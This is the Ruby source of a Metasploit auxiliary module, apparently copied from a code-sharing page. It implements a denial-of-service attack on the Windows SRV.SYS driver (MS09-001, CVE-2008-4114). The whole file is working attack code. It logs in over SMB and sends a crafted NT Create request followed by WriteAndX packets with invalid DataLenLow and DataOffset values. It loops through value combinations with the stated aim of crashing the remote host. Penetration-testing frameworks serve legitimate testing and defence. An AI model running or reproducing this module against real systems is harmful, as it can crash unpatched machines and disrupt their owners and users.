Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::SMB::Client
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'           => 'Microsoft SRV.SYS WriteAndX Invalid DataOffset',
13
      'Description'    => %q{
14
          This module exploits a denial of service vulnerability in the
15
        SRV.SYS driver of the Windows operating system.
16

17
        This module has been tested successfully against Windows Vista.
18
      },
19

20
      'Author'         => [ 'j.v.vallejo[at]gmail.com' ],
21
      'License'        => MSF_LICENSE,
22
      'References' =>
23
        [
24
          ['MSB', 'MS09-001'],
25
          ['OSVDB', '48153'],
26
          ['CVE', '2008-4114'],
27
          ['BID', '31179'],
28
        ]
29
      )
30
    )
31

32
    deregister_options('SMB::ProtocolVersion')
33
  end
34

35

36
  def send_smb_pkt(dlenlow, doffset,fillersize)
37

38
    connect(versions: [1])
39
    smb_login()
40

41
    pkt = CONST::SMB_CREATE_PKT.make_struct
42
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
43
    pkt['Payload']['SMB'].v['Flags2'] = 0xc807
44

45
    pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
46
    pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
47
    pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
48
    pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
49

50
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
51

52
    pkt['Payload']['SMB'].v['WordCount'] = 24
53

54
    pkt['Payload'].v['AndX'] = 255
55
    pkt['Payload'].v['AndXOffset'] = 0xdede
56
    pkt['Payload'].v['FileNameLen'] = 14
57
    pkt['Payload'].v['CreateFlags'] = 0x16
58
    pkt['Payload'].v['AccessMask'] = 0x2019f  # Maximum Allowed
59
    pkt['Payload'].v['ShareAccess'] = 7
60
    pkt['Payload'].v['CreateOptions'] = 0x400040
61
    pkt['Payload'].v['Impersonation'] = 2
62
    pkt['Payload'].v['Disposition'] = 1
63
    pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"
64

65

66
    simple.client.smb_send(pkt.to_s)
67
    ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
68

69
    pkt = CONST::SMB_WRITE_PKT.make_struct
70
    data_offset = pkt.to_s.length - 4
71
    filler = Rex::Text.rand_text(fillersize)
72

73
    pkt['Payload']['SMB'].v['Signature1']=0xcccccccc
74
    pkt['Payload']['SMB'].v['Signature2']=0xcccccccc
75
    pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
76
    pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
77
    pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
78
    pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
79
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
80
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
81
    pkt['Payload']['SMB'].v['Flags2'] = 0xc807
82
    pkt['Payload']['SMB'].v['WordCount'] = 14
83
    pkt['Payload'].v['AndX'] = 255
84
    pkt['Payload'].v['AndXOffset'] = 0xdede
85
    pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']
86
    pkt['Payload'].v['Offset'] = 0
87
    pkt['Payload'].v['Reserved2'] = -1
88
    pkt['Payload'].v['WriteMode'] = 8
89
    pkt['Payload'].v['Remaining'] = fillersize
90
    pkt['Payload'].v['DataLenHigh'] = 0
91
    pkt['Payload'].v['DataLenLow'] = dlenlow #<==================
92
    pkt['Payload'].v['DataOffset'] = doffset #<====
93
    pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====
94
    pkt['Payload'].v['ByteCount'] = fillersize #<====
95
    pkt['Payload'].v['Payload'] = filler
96

97
    simple.client.smb_send(pkt.to_s)
98
  end
99

100
  def run
101

102
    print_line("Attempting to crash the remote host...")
103
    k=72
104
    j=0xffff
105
    while j>10000
106
      i=0xffff
107
      while i>10000
108
        begin
109
          print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")
110
          send_smb_pkt(i,j,k)
111
        rescue
112
          print_line("rescue")
113
        end
114
        i=i-10000
115
      end
116
      j=j-10000
117
    end
118
  end
119
end
120

121